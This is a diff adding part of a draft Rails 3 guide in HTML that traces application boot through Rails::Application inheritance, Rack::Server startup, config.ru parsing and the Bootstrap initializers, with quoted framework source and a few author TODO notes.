+    Rails.application = base.instance
+  end
+</pre>
+</div>
+</notextile>
+
+<p>We do not already have a <tt>Rails.application</tt>, so instead this resorts to calling <tt>super</tt>. <tt>Rails::Application</tt> descends from <tt>Rails::Engine</tt> and so will call the <tt>inherited</tt> method in <tt>Rails::Engine</tt> (in <em>railties/lib/rails/engine.rb_), but before that it&#8217;s important to note that <tt>called_from</tt> is defined an <tt>attr_accessor</tt> on <tt>Rails::Engine</tt> and that <tt>YourApp::Application</tt> is not an <tt>abstract</em>railtie</tt></notextile>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def inherited(base)
+    unless base.abstract_railtie?
+      base.called_from = begin
+        # Remove the line number from backtraces making sure we don't leave anything behind
+        call_stack = caller.map { |p| p.split(':')[0..-2].join(':') }
+        File.dirname(call_stack.detect { |p| p !~ %r[railties[\w\-\.]*/lib/rails|rack[\w\-\.]*/lib/rack] })
+      end
+    end
+
+    super
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This <tt>called_from</tt> setting looks a little overwhelming to begin with, but the short end of it is that it returns your application&#8217;s root, something like: <em>/home/you/yourapp_. After <tt>called</em>from</tt></notextile> has been set, <tt>super</tt> is again called and this means the <tt>Rails::Railtie#inherited</tt> method (in <em>railties/lib/rails/railtie.rb</em>):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def inherited(base)
+    unless base.abstract_railtie?
+      base.send(:include, self::Configurable)
+      subclasses &lt;&lt; base
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Again, <tt>YourApp::Application</tt> will return false for <tt>abstract_railtie</tt> and so the code inside the <tt>unless</tt> will be ran. The first line:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+base.send(:include, self::Configurable)
+</pre>
+</div>
+</notextile>
+
+<p>includes the <tt>self::Configurable</tt> module, with self being <tt>Rails::Application</tt> in this context:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Rails
+    class Application
+      module Configurable
+        def self.included(base)
+          base.extend ClassMethods
+        end
+
+        module ClassMethods
+          def inherited(base)
+            raise &quot;You cannot inherit from a Rails::Application child&quot;
+          end
+        end
+
+        def config
+          @config ||= Application::Configuration.new(self.class.find_root_with_flag(&quot;config.ru&quot;, Dir.pwd))
+        end
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The inclusion of the <tt>Rails::Application::Configurable</tt> module triggers the <tt>included</tt> method in here which extends <tt>YourApp::Application</tt> with the <tt>Rails::Application::Configurable::ClassMethods</tt>.</p>
+<p>Now that the chain of <tt>super</tt> calls is done, we&#8217;ll go back to the original <tt>inherited</tt> method in <tt>Rails::Application</tt> and the final line in this method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Rails.application = base.instance
+</pre>
+</div>
+</notextile>
+
+<p><tt>base</tt> in this case is <tt>YourApp::Application</tt> and calling <tt>instance</tt> on this will return an instance of <tt>YourApp::Application</tt> through the <tt>instance</tt> method defined here:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def instance
+    if self == Rails::Application
+      Rails.application
+    else
+      @@instance ||= new
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p><tt>self</tt> in this case is <tt>YourApp::Application</tt>, so it won&#8217;t match to <tt>Rails::Application</tt> so instead the <tt>new</tt> method is called which calls the <tt>initialize</tt> method.</p>
+<h3 id="firing-it-up">8 Firing it up!</h3>
+<p>Now that we&#8217;ve covered the boot process of Rails the next line best to cover would be what happens after <em>script/rails</em> has loaded <em>config/boot.rb</em>. That&#8217;s quite simply that it then <tt>require 'rails/commands'</tt> which is located at <em>railties/lib/rails/commands.rb</em>. Remember how <tt>exec</tt> passed the arguments to <tt>script/rails</tt>? This is where they&#8217;re used. <em>rails/commands.rb</em> is quite a large file in Rails 3, as it contains all the Rails commands like console, about, generate and, of course, server. Because we&#8217;ve called <tt>rails server</tt> the first argument in <tt>ARGV</tt> is of course <tt>"server"</tt>. So assuming this we can determine that the <tt>ARGV.shift</tt> in <em>commands.rb</em> is going to return <tt>"server"</tt>, therefore it&#8217;ll match this <tt>when</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+when 's', 'server'
+  require 'rails/commands/server'
+  Dir.chdir(ROOT_PATH)
+  Rails::Server.start
+</pre>
+</div>
+</notextile>
+
+<p>The keen-eyed observer will note that this <tt>when</tt> also specifies the argument could also be simply <tt>'s'</tt> thereby making the full command <tt>rails s</tt>. This is the same with the other commands with <tt>generate</tt> becoming <tt>g</tt>, <tt>console</tt> becoming <tt>c</tt> and <tt>dbconsole</tt> becoming <tt>db</tt>.</p>
+<p>This code here ensures we are at the <tt>ROOT_PATH</tt> of our application (this constant was defined in <em>script/rails</em>) and then calls <tt>Rails::Server.start</tt>. <tt>Rails::Server</tt> descends from <tt>Rack::Server</tt> which is defined in the rack gem. The <tt>Rails::Server.start</tt> method is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def start
+    ENV[&quot;RAILS_ENV&quot;] = options[:environment]
+
+    puts &quot;=&gt; Booting #{ActiveSupport::Inflector.demodulize(server)}&quot;
+    puts &quot;=&gt; Rails #{Rails.version} application starting in #{Rails.env} on http://#{options[:Host]}:#{options[:Port]}&quot;
+    puts &quot;=&gt; Call with -d to detach&quot; unless options[:daemonize]
+    trap(:INT) { exit }
+    puts &quot;=&gt; Ctrl-C to shutdown server&quot; unless options[:daemonize]
+
+    super
+  ensure
+    puts 'Exiting' unless options[:daemonize]
+  end
+</pre>
+</div>
+</notextile>
+
+<p>We can see here that there is usual output indicating that the server is booting up.</p>
+<p>How the <tt>options</tt> variable gets set and how Rack starts the server up is covered in the next section.</p>
+<h3 id="racking-it-up">9 Racking it up!</h3>
+<p>This <tt>Rack::Server.start</tt> method is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def self.start
+    new.start
+  end
+</pre>
+</div>
+</notextile>
+
+<p><tt>new</tt> as you know calls <tt>initialize</tt> in a class, and that is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize(options = nil)
+    @options = options
+  end
+</pre>
+</div>
+</notextile>
+
+<p>And then <tt>options</tt>, which are the options referenced by the <tt>start</tt> method in <tt>Rails::Server</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def options
+    @options ||= parse_options(ARGV)
+  end
+</pre>
+</div>
+</notextile>
+
+<p>And <tt>parse_options</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def parse_options(args)
+    options = default_options
+
+    # Don't evaluate CGI ISINDEX parameters.
+    # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
+    args.clear if ENV.include?(&quot;REQUEST_METHOD&quot;)
+
+    options.merge! opt_parser.parse! args
+    options
+  end
+</pre>
+</div>
+</notextile>
+
+<p>And <tt>default_options</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def default_options
+    {
+      :environment =&gt; &quot;development&quot;,
+      :pid         =&gt; nil,
+      :Port        =&gt; 9292,
+      :Host        =&gt; &quot;0.0.0.0&quot;,
+      :AccessLog   =&gt; [],
+      :config      =&gt; &quot;config.ru&quot;
+    }
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Finally! We&#8217;ve arrived at <tt>default_options</tt> which leads into our next point quite nicely. After the object has been <tt>initialize</tt>&#8217;d, <tt>start</tt> is called:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def start
+    if options[:debug]
+      $DEBUG = true
+      require 'pp'
+      p options[:server]
+      pp wrapped_app
+      pp app
+    end
+
+    if options[:warn]
+      $-w = true
+    end
+
+    if includes = options[:include]
+      $LOAD_PATH.unshift *includes
+    end
+
+    if library = options[:require]
+      require library
+    end
+
+    daemonize_app if options[:daemonize]
+    write_pid if options[:pid]
+    server.run wrapped_app, options
+  end
+</pre>
+</div>
+</notextile>
+
+<p>We&#8217;re not debugging anything, so there goes the first 7 lines, we&#8217;re not warning, nor are we including, requiring, daemonising or writing out a pid file. That&#8217;s everything except the final line, which calls <tt>run</tt> with the <tt>wrapped_app</tt> which is then defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def wrapped_app
+    @wrapped_app ||= build_app app
+  end
+</pre>
+</div>
+</notextile>
+
+<p>and <tt>build_app</tt>&#8217;s first and only argument is <tt>app</tt> which is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def app
+    @app ||= begin
+      if !::File.exist? options[:config]
+        abort &quot;configuration #{options[:config]} not found&quot;
+      end
+
+      app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+      self.options.merge! options
+      app
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p><tt>options</tt> is a method we talked about a short while ago, which is just the set of default options. <tt>options[:config]</tt> in this context is therefore <em>config.ru</em> which coincidentally we have in our application! To get an application instance from this method <tt>Rack::Builder</tt> joins the fray with a call to <tt>parse_file</tt> on our <em>config.ru</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def self.parse_file(config, opts = Server::Options.new)
+    options = {}
+    if config =~ /\.ru$/
+      cfgfile = ::File.read(config)
+      if cfgfile[/^#\\(.*)/] &amp;&amp; opts
+        options = opts.parse! $1.split(/\s+/)
+      end
+      cfgfile.sub!(/^__END__\n.*/, '')
+      app = eval &quot;Rack::Builder.new {( &quot; + cfgfile + &quot;\n )}.to_app&quot;,
+        TOPLEVEL_BINDING, config
+    else
+      require config
+      app = Object.const_get(::File.basename(config, '.rb').capitalize)
+    end
+    return app, options
+  end
+</pre>
+</div>
+</notextile>
+
+<p>First this reads your config file and checks it for <tt>#\</tt> at the beginning. This is supported if you want to pass options into the <tt>Rack::Server</tt> instance that you have and can be used like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+#\\ -E production
+  # This file is used by Rack-based servers to start the application.
+
+  require ::File.expand_path('../config/environment',  __FILE__)
+  run YourApp::Application.instance
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">TODO</span>: Is the above correct? I am simply guessing!</p>
+<p>After that it removes all the content after any <tt>__END__</tt> in your <em>config.ru</em> (<span class="caps">TODO</span>: because? Is this so it doesn&#8217;t get eval&#8217;d?) and then evals the content of this file which, as you&#8217;ve seen is quite simple. The code that&#8217;s first evaluated would be the require to the <em>config/environment.rb</em> file, which leads into the next section.</p>
+<h3 id="_config-environment-rb_">10 <em>config/environment.rb</em></h3>
+<p>Now that we&#8217;ve seen that <em>rails/server</em> gets to <em>config/environment.rb</em> via Rack&#8217;s requiring of it and Passenger requires it straight off the line. We&#8217;ve covered the boot process of Rails and covered the beginnings of a Rack server starting up. We have reached a common path for both <em>rails/server</em> and Passenger now, so let&#8217;s investigate what <em>config/environment.rb</em> does.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Load the rails application
+  require File.expand_path('../application', __FILE__)
+
+  # Initialize the rails application
+  YourApp::Application.initialize!
+</pre>
+</div>
+</notextile>
+
+<p>As you can see, there&#8217;s a require in here for <em>config/application.rb</em>, and this file looks like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module YourApp
+    class Application &lt; Rails::Application
+      # Settings in config/environments/* take precedence over those specified here.
+      # Application configuration should go into files in config/initializers
+      # -- all .rb files in that directory are automatically loaded.
+
+      # Add additional load paths for your own custom dirs
+      # config.load_paths += %W( #{config.root}/extras )
+
+      # Only load the plugins named here, in the order given (default is alphabetical).
+      # :all can be used as a placeholder for all plugins not explicitly named
+      # config.plugins = [ :exception_notification, :ssl_requirement, :all ]
+
+      # Activate observers that should always be running
+      # config.active_record.observers = :cacher, :garbage_collector, :forum_observer
+
+      # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
+      # Run &quot;rake -D time&quot; for a list of tasks for finding time zone names. Default is UTC.
+      # config.time_zone = 'Central Time (US &amp; Canada)'
+
+      # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+      # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')]
+      # config.i18n.default_locale = :de
+
+      # Configure generators values. Many other options are available, be sure to check the documentation.
+      # config.generators do |g|
+      #   g.orm             :active_record
+      #   g.template_engine :erb
+      #   g.test_framework  :test_unit, :fixture =&gt; true
+      # end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>These options (and their siblings) are explained in a later section. What&#8217;s important to note for this file currently is that this is where the <tt>YourApp::Application</tt> class is initialized and that it&#8217;s a subclass of <tt>Rails::Application</tt>. This is the first point where your application begins to initialize Rails and as you can see all of this is configuration stuff which your initializers and really, the rest of your application will depend on. These options and what they do will be covered later.</p>
+<h3 id="rails-initialization-process">11 Rails Initialization Process</h3>
+<p>Now begins the actual initialization of Rails. Previously we have covered how <em>rails server</em> and Passenger get to this stage and the parts of Rails that they have both loaded.</p>
+<h3 id="rails-application">12 <tt>Rails::Application</tt></h3>
+<p>The first steps for the initialization process of Rails begins when <tt>YourApp::Application</tt> descends from <tt>Rails::Application</tt>. The <tt>Rails::Application</tt> class descends from <tt>Rails::Engine</tt> class which itself descends from <tt>Rails::Railtie</tt> defined in <em>railties/lib/rails/railtie.rb</em>. Along this fantastical chain of superclasses, there&#8217;s defined a couple of inherited class methods. These methods just so happen to be called when a class inherits from (aka: is made a subclass of) this class. This first one is for <tt>Rails::Application</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def inherited(base)
+    raise &quot;You cannot have more than one Rails::Application&quot; if Rails.application
+    super
+    Rails.application = base.instance
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This goes up the chain by using <tt>super</tt> to calling <tt>Rails::Engine.inherited</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def inherited(base)
+    unless abstract_railtie?(base)
+      base.called_from = begin
+        call_stack = caller.map { |p| p.split(':').first }
+        File.dirname(call_stack.detect { |p| p !~ %r[railties/lib/rails|rack/lib/rack] })
+      end
+    end
+
+    super
+  end
+</pre>
+</div>
+</notextile>
+
+<p><tt>called_from</tt> references where this code was called from. This is covered later on in the &#8220;Bootstrap Initializers&#8221; section.</p>
+<p>Which then calls <tt>Rails::Railtie.inherited</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def inherited(base)
+    unless abstract_railtie?(base)
+      base.send(:include, self::Configurable)
+      subclasses &lt;&lt; base
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This <tt>inherited</tt> first includes the <tt>Rails::Configurable</tt> module on <tt>base</tt>, which is <tt>YourApp::Application</tt>. This module defines the <tt>config</tt> method on <tt>YourApp::Application</tt>, and now it&#8217;s starting to come together. You may notice that in your <tt>config/application.rb</tt> file there&#8217;s a <tt>config</tt> method called there. This is the method from <tt>Rails::Configurable</tt>.</p>
+<p>Then this adds to <tt>Rails::Railtie.subclasses</tt> your application&#8217;s class because&#8230; <span class="caps">TODO</span>: explain.</p>
+<p>With <tt>Rails::Railtie.inherited</tt> out of the way, and that being the last thing to do in <tt>Rails::Engine.inherited</tt> we return to <tt>Rails::Application.inherited</tt> which calls the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Rails.application = base.instance
+</pre>
+</div>
+</notextile>
+
+<p>As you already know, <tt>base</tt> is <tt>YourApp::Application</tt> and now it&#8217;s calling the <tt>instance</tt> method on it. This method is defined in <tt>Rails::Application</tt> like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def instance
+    if self == Rails::Application
+      Rails.application
+    else
+      @@instance ||= new
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>new</tt> method here simply creates a new <tt>Rails::Application</tt> and sets it to the <tt>@@instance</tt> class variable. No magic.</p>
+<h3 id="your-application-s-configuration">13 Your Application&#8217;s Configuration</h3>
+<p>Now that <tt>inherited</tt> has finished doing its job, next up in <em>config/application.rb</em> is the call to the <tt>config</tt> object&#8217;s methods. As explained before, this <tt>config</tt> object is an instance of <tt>Rails::Railtie::Configuration</tt>, put into place by the call of <tt>include Rails::Configurable</tt> back in <tt>Rails::Railtie.inherited</tt>. This defined it as such:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def config
+    @config ||= Railtie::Configuration.new
+  end
+</pre>
+</div>
+</notextile>
+
+<p>All the methods for <tt>Rails::Railtie::Configuration</tt> are defined like this in <em>railties/lib/rails/railtie/configuration.rb</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rails/configuration'
+
+  module Rails
+    class Railtie
+      class Configuration
+        include Rails::Configuration::Shared
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>As you can probably guess here, the <tt>Rails::Configuration</tt> module is defined by <em>rails/configuration</em> (<em>railties/lib/rails/configuration.rb</em>).</p>
+<h3 id="rails-configuration-shared">14 <tt>Rails::Configuration::Shared</tt></h3>
+<p>In a standard application, the <tt>application.rb</tt> looks like this with all the comments stripped out:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.expand_path('../boot', __FILE__)
+
+  module YourApp
+    class Application &lt; Rails::Application
+      config.filter_parameters &lt;&lt; :password
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>config</tt> method being the one defined on <tt>Rails::Application::Configurable</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def config
+    @config ||= Application::Configuration.new(self.class.find_root_with_flag(&quot;config.ru&quot;, Dir.pwd))
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The method <tt>find_with_root_flag</tt> is defined on <tt>Rails::Engine</tt> (the superclass of <tt>Rails::Application</tt>) and it will find the directory containing a certain flag. In this case it&#8217;s the <tt>config.ru</tt> file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def find_root_with_flag(flag, default=nil)
+    root_path = self.called_from
+
+    while root_path &amp;&amp; File.directory?(root_path) &amp;&amp; !File.exist?(&quot;#{root_path}/#{flag}&quot;)
+      parent = File.dirname(root_path)
+      root_path = parent != root_path &amp;&amp; parent
+    end
+
+    root = File.exist?(&quot;#{root_path}/#{flag}&quot;) ? root_path : default
+    raise &quot;Could not find root path for #{self}&quot; unless root
+
+    RUBY_PLATFORM =~ /(:?mswin|mingw)/ ?
+      Pathname.new(root).expand_path : Pathname.new(root).realpath
+  end
+</pre>
+</div>
+</notextile>
+
+<p><tt>called_from</tt> goes through the <tt>caller</tt> which is the stacktrace of the current thread, in the case of your application it would go a little like this:</p>
+<pre>
+  /usr/local/lib/ruby/gems/1.9.1/gems/railties-3.0.0/lib/rails/application.rb:30:in `inherited'
+  /home/you/yourapp/config/application.rb:4:in `&lt;module:TestApp&gt;'
+  /home/you/yourapp/config/application.rb:3:in `&lt;top (required)&gt;'
+  /usr/local/lib/ruby/gems/1.9.1/gems/activesupport-3.0.0/lib/active_support/dependencies.rb:167:in `require'
+  /usr/local/lib/ruby/gems/1.9.1/gems/activesupport-3.0.0/lib/active_support/dependencies.rb:167:in `block in require'
+  /usr/local/lib/ruby/gems/1.9.1/gems/activesupport-3.0.0/lib/active_support/dependencies.rb:537:in `new_constants_in'
+  /usr/local/lib/ruby/gems/1.9.1/gems/activesupport-3.0.0/lib/active_support/dependencies.rb:167:in `require'
+  /usr/local/lib/ruby/gems/1.9.1/gems/railties-3.0.0/lib/rails/commands.rb:33:in `&lt;top (required)&gt;'
+  /usr/local/lib/ruby/gems/1.9.1/gems/activesupport-3.0.0/lib/active_support/dependencies.rb:167:in `require'
+  /usr/local/lib/ruby/gems/1.9.1/gems/activesupport-3.0.0/lib/active_support/dependencies.rb:167:in `block in require'
+  /usr/local/lib/ruby/gems/1.9.1/gems/activesupport-3.0.0/lib/active_support/dependencies.rb:537:in `new_constants_in'
+  /usr/local/lib/ruby/gems/1.9.1/gems/activesupport-3.0.0/lib/active_support/dependencies.rb:167:in `require'
+  /var/www/rboard/script/rails:10:in `&lt;main&gt;'
+</pre>
+<p><tt>called_from</tt> is defined in the <tt>inherited</tt> method for <tt>Rails::Engine</tt> which looks like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+base.called_from = begin
+    call_stack = caller.map { |p| p.split(':').first }
+    File.dirname(call_stack.detect { |p| p !~ %r[railties/lib/rails|rack/lib/rack] })
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>call_stack</tt> here is the <tt>caller</tt> output shown previously, minus everything after the first <tt>:</tt> on all the lines. The first path that matches this is <em>/usr/local/lib/ruby/gems/1.9.1/gems/railties-3.0.0/lib/rails</em>. Yours may vary slightly, but should always end in <em>railties-x.&#215;.x/lib/rails</em>.</p>
+<p>The code in <tt>find_root_with_flag</tt> will go up this directory structure until it reaches the top, which in this case is <tt>/</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+while root_path &amp;&amp; File.directory?(root_path) &amp;&amp; !File.exist?(&quot;#{root_path}/#{flag}&quot;)
+    parent = File.dirname(root_path)
+    root_path = parent != root_path &amp;&amp; parent
+  end
+
+  root = File.exist?(&quot;#{root_path}/#{flag}&quot;) ? root_path : default
+  raise &quot;Could not find root path for #{self}&quot; unless root
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">TODO</span>: What is all this for?</p>
+<p>At the root of the system it looks for <tt>config.ru</tt>. <span class="caps">TODO</span>: Why? Obviously it&#8217;s not going to find it, so it uses the <tt>default</tt> option we&#8217;ve specified which is <tt>Dir.pwd</tt> which will default to the root folder of your Rails application. This path is then passed to <tt>Rails::Application::Configuration.new</tt>. <tt>Rails::Application::Configuration</tt> descends from <tt>Rails::Engine::Configuration</tt> and the <tt>initialize</tt> method goes like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize(*)
+    super
+    @allow_concurrency   = false
+    @colorize_logging    = true
+    @filter_parameters   = []
+    @dependency_loading  = true
+    @serve_static_assets = true
+    @time_zone           = &quot;UTC&quot;
+    @consider_all_requests_local = true
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>super</tt> method here is the <tt>initialize</tt> method in <tt>Rails::Engine::Configuration</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize(root=nil)
+    @root = root
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Here, the <tt>@root</tt> variable is assigned the path of your application and then the remainder of <tt>Rails::Application::Configuration.initialize</tt> is ran, setting up a few instance variables for basic configuration, including one for <tt>@filter_parameters</tt>.</p>
+<p>Now with the <tt>config</tt> option set up, we can go onwards and call <tt>filter_parameters</tt> on it. This <tt>filter_parameters</tt> method is not defined on <tt>Rails::Configuration::Shared</tt> and actually falls to the <tt>method_missing</tt> defined there instead:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def method_missing(name, *args, &amp;blk)
+     if name.to_s =~ config_key_regexp
+       return $2 == '=' ? options[$1] = args.first : options[$1]
+     end
+     super
+   end
+</pre>
+</div>
+</notextile>
+
+<p>We&#8217;re not calling <tt>filter_parameters=</tt>, we&#8217;re calling <tt>filter_parameters</tt>, therefore it&#8217;ll be the second part of this ternary argument: <tt>options[$1]</tt>. The options method is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def options
+    @@options ||= Hash.new { |h,k| h[k] = ActiveSupport::OrderedOptions.new }
+  end
+</pre>
+</div>
+</notextile>
+
+<p>OrderedOptions exists&#8230; <span class="caps">TODO</span>: explain.</p>
+<p>So from this we can determine that our <tt>options</tt> hash now has a key for <tt>filter_parameters</tt> which&#8217;s value is an array consisting of a single symbol: <tt>:password</tt>. How this option manages to get into the <tt>@filter_parameters</tt> variable defined on the <tt>Rails::Application::Configuration.initialize</tt> method is explained later.</p>
+<h3 id="application-configured">15 Application Configured!</h3>
+<p>Now your application has finished being configured (at least in the sense of <em>config/application.rb</em>, there&#8217;s more to come!) in <em>config/environment.rb</em> the final line calls <tt>YourApp::Application.initalize!</tt>.</p>
+<h3 id="initialization-begins">16 Initialization begins</h3>
+<p>This is one of those magical uses of <tt>method_missing</tt> which, for the purposes of debugging, is something that you don&#8217;t expect to come across as often as you do and as a consequence you&#8217;ll spend a good portion of an hour looking for method definitions that don&#8217;t exist because <tt>method_missing</tt> is taking care of it. There&#8217;s some pretty crafty use of <tt>method_missing</tt> all over Rails and it&#8217;s encouraged to take note of its power.</p>
+<p><tt>Rails::Application</tt> has a <tt>method_missing</tt> definition which does this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def method_missing(*args, &amp;block)
+    instance.send(*args, &amp;block)
+  end
+</pre>
+</div>
+</notextile>
+
+<p>With our <tt>instance</tt> being our already initialized by the <tt>inherited</tt> method, this will just return the value of the <tt>@@instance</tt> variable, a <tt>Rails::Application</tt> object. Calling <tt>initialize!</tt> on this method does this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize!
+    run_initializers(self)
+    self
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The initializers it is talking about running here are the initializers for our application. The object passed in to <tt>run_initializers</tt> is <tt>YourApp::Application</tt>.</p>
+<h3 id="run_initializers">17 <tt>run_initializers</tt></h3>
+<p>This method begins the running of all the defined initializers. In the section &#8220;The Boot Process&#8221; we covered the loading sequence of Rails before any initialization happens and during this time we saw that the <tt>Rails::Railtie</tt> class includes the <tt>Initializable</tt> module. As we&#8217;ve also seen <tt>YourApp::Application</tt> is a descendant of this class, so it too has these methods.</p>
+<p><tt>run_initializers</tt> looks like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def run_initializers(*args)
+    return if instance_variable_defined?(:@ran)
+    initializers.each do |initializer|
+      initializer.run(*args)
+    end
+    @ran = true
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Here the <tt>initializers</tt> method is defined in <em>railties/lib/rails/application.rb</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initializers
+    initializers = Bootstrap.initializers_for(self)
+    railties.all { |r| initializers += r.initializers }
+    initializers += super
+    initializers += Finisher.initializers_for(self)
+    initializers
+  end
+</pre>
+</div>
+</notextile>
+
+<h3 id="bootstrap-initializers">18 <tt>Bootstrap</tt> initializers</h3>
+<p>The first line here references a <tt>Bootstrap</tt> class we haven&#8217;t seen before. Or have we? The keen-eyed observer would have spotted an <tt>autoload</tt> for it at the top of <tt>Rails::Application</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+autoload :Bootstrap,      'rails/application/bootstrap'
+</pre>
+</div>
+</notextile>
+
+<p>Now that we&#8217;ve referenced that class, it will be required for us. You&#8217;ll notice inside this class that there&#8217;s an <tt>include Initializable</tt>, providing the afore-mentioned methods from this module. Inside this class a number of initializers are defined.</p>
+<ul>
+	<li>load_environment_config</li>
+	<li>load_all_active_support</li>
+	<li>preload_frameworks</li>
+	<li>initialize_logger</li>
+	<li>initialize_cache</li>
+	<li>initialize_subscriber</li>
+	<li>set_clear_dependencies_hook</li>
+	<li>initialize_dependency_mechanism</li>
+</ul>
+<p>These are all defined using the <tt>initializer</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initializer(name, opts = {}, &amp;blk)
+    raise ArgumentError, &quot;A block must be passed when defining an initializer&quot; unless blk
+    opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] }
+    initializers &lt;&lt; Initializer.new(name, nil, opts, &amp;blk)
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>initializers</tt> method defined here just references an <tt>@initializers</tt> variable:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initializers
+    @initializers ||= []
+  end
+</pre>
+</div>
+</notextile>
+
+<p>As you can see from this method it will set <tt>opts[:after]</tt> if there are previously defined initializers. So we can determine from this that the order our initializers are defined in is the same order that they run in, but only by default. It is possible to change this by specifying an <tt>:after</tt> or <tt>:before</tt> option as we will see later on. Each initializer is its own instance of the <tt>Initializer</tt> class:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Initializer
+    attr_reader :name, :block
+
+    def initialize(name, context, options, &amp;block)
+      @name, @context, @options, @block = name, context, options, block
+    end
+
+    def before
+      @options[:before]
+    end
+
+    def after
+      @options[:after]
+    end
+
+    def run(*args)
+      @context.instance_exec(*args, &amp;block)
+    end
+
+    def bind(context)
+      return self if @context
+      Initializer.new(@name, context, @options, &amp;block)
+    end
+  end
+</pre>
+</div>
+</notextile>
+
